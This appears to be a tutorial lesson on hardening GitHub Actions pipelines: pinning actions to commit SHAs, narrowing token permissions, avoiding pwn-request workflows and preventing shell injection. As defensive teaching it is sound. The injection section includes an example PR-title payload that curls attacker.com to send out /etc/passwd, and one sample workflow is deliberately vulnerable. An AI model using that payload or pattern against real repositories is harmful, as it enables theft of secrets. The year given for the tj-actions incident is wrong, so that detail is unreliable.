GitHub Actions in Depth

Securing GitHub Actions

18 min Lesson 9 of 30

Securing GitHub Actions

A CI/CD pipeline has privileged access to your codebase, your secrets, and your production infrastructure. An insecure pipeline is a direct attack surface. High-profile supply chain incidents — Solar Winds, the Codecov breach, the tj-actions/changed-files compromise in 2023 — all exploited CI/CD systems to steal secrets or push malicious code. Big-tech security teams treat the pipeline as a trust boundary as carefully guarded as a production network perimeter. This lesson covers four interconnected controls: pinning actions to commit SHAs, tightening GITHUB_TOKEN permissions, understanding and preventing pwn request attacks, and governing which actions are allowed in your organization.

Pinning Actions to Commit SHAs

Every uses: owner/action@ref line in your workflow is a third-party dependency. When you write uses: actions/checkout@v4, GitHub resolves the v4 tag to whatever commit it currently points to and runs that code with full runner access — including your secrets. Mutable tags are the problem: a maintainer (or an attacker who has compromised the maintainer) can move the tag to a new commit silently. Your workflow will start running different code on its next run with no indication in your workflow file.

The fix is to pin every action to an immutable full-length commit SHA:

# UNSAFE — the v4 tag can be moved to a different commit at any time - uses: actions/checkout@v4 # SAFE — pinned to the exact commit that published v4.1.1 # The human-readable comment tells reviewers which version this is. - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1 # Pattern for any third-party action - uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2 with: role-to-assume: arn:aws:iam::123456789012:role/GitHubActionsRole aws-region: us-east-1

To find the SHA for a tag: open the action repository on GitHub, navigate to the release or tag, and copy the full 40-character commit SHA from the URL or the release commit list. Alternatively, use the gh CLI:

# Find the commit SHA for a specific tag gh api repos/actions/checkout/git/ref/tags/v4.1.1 --jq '.object.sha' # Output: b4ffde65f46336ab88eb53be808477a3936bae11 # If the tag points to a tag object (annotated tag), dereference it gh api repos/actions/checkout/git/refs/tags/v4.1.1 --jq '.object.sha' # Then resolve the tag object to get the commit SHA: gh api repos/actions/checkout/git/tags/THAT_SHA --jq '.object.sha'
SHA pinning and upstream updates: Pinning to SHAs does mean you must manually update the pins when you want to pick up a new version. This is a deliberate trade-off: you get immutability and auditability in exchange for a small maintenance burden. Tools like Dependabot (configured in .github/dependabot.yml with package-ecosystem: github-actions) automate this — they open PRs to update your pinned SHAs when new versions of actions are released, so you get the security of pinning without the manual tracking cost.

GITHUB_TOKEN Permissions: Principle of Least Privilege

Every workflow run is automatically provisioned with a short-lived GITHUB_TOKEN. This token can read and write to your repository — create issues, push commits, publish packages, write to the GitHub Container Registry, and more. The default permissions depend on your organization settings, but GitHub's own default grants write access to contents for repositories with older settings. That is far too broad for a test job.

The control is the permissions key, which can be set at the workflow level (applies to all jobs) and overridden at the job level (applies to that job only). Always set the narrowest permissions you can:

# .github/workflows/ci.yml name: CI on: pull_request: branches: ["main"] # Workflow-level default: read-only across the board. # Every job inherits this unless it overrides. permissions: contents: read jobs: test: runs-on: ubuntu-24.04 # No override needed — inherits read-only from the workflow level. steps: - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1 - run: make test release: runs-on: ubuntu-24.04 needs: test if: github.ref == 'refs/heads/main' permissions: contents: write # Needed to create a GitHub Release / push tags packages: write # Needed to publish to GHCR steps: - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1 - name: Create release run: gh release create "${{ github.ref_name }}" --generate-notes security-scan: runs-on: ubuntu-24.04 permissions: contents: read security-events: write # Needed to upload SARIF results to Code Scanning steps: - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1 - name: Run Trivy vulnerability scanner uses: aquasecurity/trivy-action@fbd16365eb88e12433951383f5e99bd901fc618f # v0.19.0 with: scan-type: fs format: sarif output: trivy-results.sarif - uses: github/codeql-action/upload-sarif@cdcdbb579706841c47f7063dda365e292e5cad7a # v2.13.4 with: sarif_file: trivy-results.sarif
Production pitfall — never use permissions: write-all: It is tempting to set permissions: write-all to "just make it work" when a step fails with a permission error. This grants the workflow token write access to every API scope GitHub exposes — issues, pull-requests, packages, deployments, checks, code scanning, and more. A compromised action in your dependency chain (even a transitive one via a reusable workflow) can then create fake releases, approve its own PRs, or exfiltrate secrets via GitHub API calls. Always investigate what specific scope a step actually needs and grant only that.
GitHub Actions Security Layers GitHub Actions Security Model Attack Vectors Mutable tag hijack Overprivileged GITHUB_TOKEN pwn-request (fork PR) Unvetted third-party action Command injection via inputs Secrets leaked via log or environment exfiltration Security Controls Pin actions to commit SHAs permissions: contents: read pull_request vs pull_request_target boundary Allowed actions policy (org) Use --no-interpolation / toJSON() Secrets masking + OIDC (no long-lived creds) Outcome Immutable dependency graph Blast radius limited per job Untrusted code never sees secrets Supply chain audit trail No injection via user input No static credentials in repos or logs
Every attack vector has a corresponding control. Defense in depth: apply all controls together, not just one.

The pwn-Request Attack: The Most Underestimated Risk

The pwn-request (short for "owned pull request") is one of the most dangerous vulnerability classes in GitHub Actions, and many teams do not even know it exists. Understanding it is essential.

The attack exploits the difference between two trigger events:

  • pull_request — triggered when a PR is opened from a fork. By design, this event runs the base branch workflow code, and the GITHUB_TOKEN it provides has read-only permissions and no access to secrets. This is safe.
  • pull_request_target — triggered in the context of the base repository, not the fork. The workflow can access secrets and the GITHUB_TOKEN has write permissions. This event was created to allow things like auto-labeling PRs or posting comments from forks, but it is extremely dangerous if you check out the PR code and run it.

The attack pattern: a malicious contributor opens a PR from a fork. If your workflow uses pull_request_target and also checks out the PR code (using github.event.pull_request.head.sha), the attacker's code runs with full write access to your repository and full access to your secrets. In 2023, this class of vulnerability compromised major open-source projects, leaking signing keys and deployment credentials.

# DANGEROUS — pull_request_target + checkout of fork code = pwn-request # This pattern has been exploited repeatedly in real incidents. on: pull_request_target: types: [opened, synchronize] jobs: test: runs-on: ubuntu-24.04 steps: # BUG: checking out the fork's code (attacker-controlled) in a # pull_request_target context gives attacker code access to all secrets. - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1 with: ref: ${{ github.event.pull_request.head.sha }} # UNSAFE - run: make test # Attacker's Makefile runs with secret access! --- # SAFE — separate workflows by trust level. # Use pull_request (read-only, no secrets) for CI that runs fork code. on: pull_request: branches: ["main"] jobs: test: runs-on: ubuntu-24.04 steps: # Default checkout: checks out the merge commit of the PR. # GITHUB_TOKEN is read-only. No secrets are passed. Safe. - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1 - run: make test
When you genuinely need pull_request_target: Some legitimate use cases require it — for example, auto-labeling a PR from a fork based on changed paths, or posting a test coverage comment. The safe pattern is a split workflow: run CI with pull_request (no secrets, untrusted code), and use pull_request_target only for a separate job that never checks out PR code. Pass data between them via artifacts and the workflow_run event. This is the pattern used by projects like CPython and TypeScript.

Allowed Actions Policy: Organization-Level Governance

At the organization or enterprise level, GitHub allows administrators to restrict which actions can be used across all repositories. This is the policy layer that prevents an engineer from accidentally introducing an unvetted third-party action into a critical pipeline.

The options (configured in GitHub UI under Organization → Settings → Actions → General) are:

  • Allow all actions — any action from any public repository can be used. This is the default and is appropriate only for personal repositories or low-risk projects.
  • Allow select actions — the most important setting for production organizations. You can specify: allow actions from GitHub itself (actions/*), allow actions from verified creators (a curated list GitHub maintains), and/or allow specific third-party actions by exact owner/repo@SHA or a glob pattern. This is what Google, Stripe, and similar companies use for internal GitHub organizations.
  • Disable GitHub Actions — nuclear option; disables the entire Actions platform for the organization.

Beyond the UI policy, you can enforce action pinning and security practices at the workflow level using Zizmor or actionlint in CI — static analysis tools that catch unpinned actions, dangerous patterns like pull_request_target with checkout, and missing permission blocks:

# Install and run actionlint locally to catch security issues before pushing # actionlint understands GitHub Actions syntax deeply — it catches issues # that standard YAML linters miss entirely. # macOS brew install actionlint # Linux (direct download) bash <(curl https://raw.githubusercontent.com/rhysd/actionlint/main/scripts/download-actionlint.bash) # Run against all workflows in the repository actionlint # Example output for a security violation: # .github/workflows/ci.yml:12:9: "uses" is not pinned to a commit SHA [unpinned-action] # .github/workflows/ci.yml:34:5: "pull_request_target" is used with "actions/checkout" # which is dangerous [dangerous-permission] # Integrate into CI so every PR is checked: # jobs: # lint-actions: # runs-on: ubuntu-24.04 # steps: # - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # - uses: raven-actions/actionlint@... # pin to SHA

Command Injection via Workflow Expressions

One more critical security pattern that every engineer must know: untrusted data in workflow expressions. When you interpolate a GitHub context variable like ${{ github.event.pull_request.title }} directly into a run: shell command, you are vulnerable to injection. An attacker crafts a PR title containing shell metacharacters or commands, and those commands run in your runner with whatever permissions the job has.

# UNSAFE — attacker-controlled data interpolated directly into shell - name: Print PR title run: echo "PR title: ${{ github.event.pull_request.title }}" # If the PR title is: foo"; curl attacker.com/exfil?data=$(cat /etc/passwd); echo " # that entire payload executes as shell commands. # SAFE — pass through environment variable, never interpolated directly - name: Print PR title env: PR_TITLE: ${{ github.event.pull_request.title }} run: echo "PR title: ${PR_TITLE}" # Environment variable expansion is safe — the shell never parses the # value as code; it is treated as opaque data. # SAFE for structured data — use toJSON() to serialize to a JSON string # then parse it in your script, never interpolate it raw. - name: Process labels env: LABELS: ${{ toJSON(github.event.pull_request.labels) }} run: python3 -c "import json,os; labels = json.loads(os.environ['LABELS']); print(labels)"
Injection is not hypothetical: In 2022, a security researcher demonstrated code execution in the official GitHub Actions runner documentation repository using a crafted branch name that contained shell metacharacters. The vulnerability class was exactly this: direct interpolation of github.head_ref into a shell command. The rule is simple — never interpolate any user-controllable context value (github.event.*, github.head_ref, PR titles, commit messages, issue body) directly into a run: block. Always go through an environment variable.

Security in GitHub Actions is not a checklist you run once — it is an ongoing discipline. Pin your actions and automate the updates with Dependabot. Set permissions: contents: read at the workflow level and grant write access only where a specific job needs it. Never use pull_request_target to run untrusted fork code. Enable the organization-level allowed-actions policy. Run actionlint in CI. And always pass user-controlled data through environment variables, never via expression interpolation into shell. Apply these five controls and you will have a pipeline posture that matches what security-conscious engineering organizations require.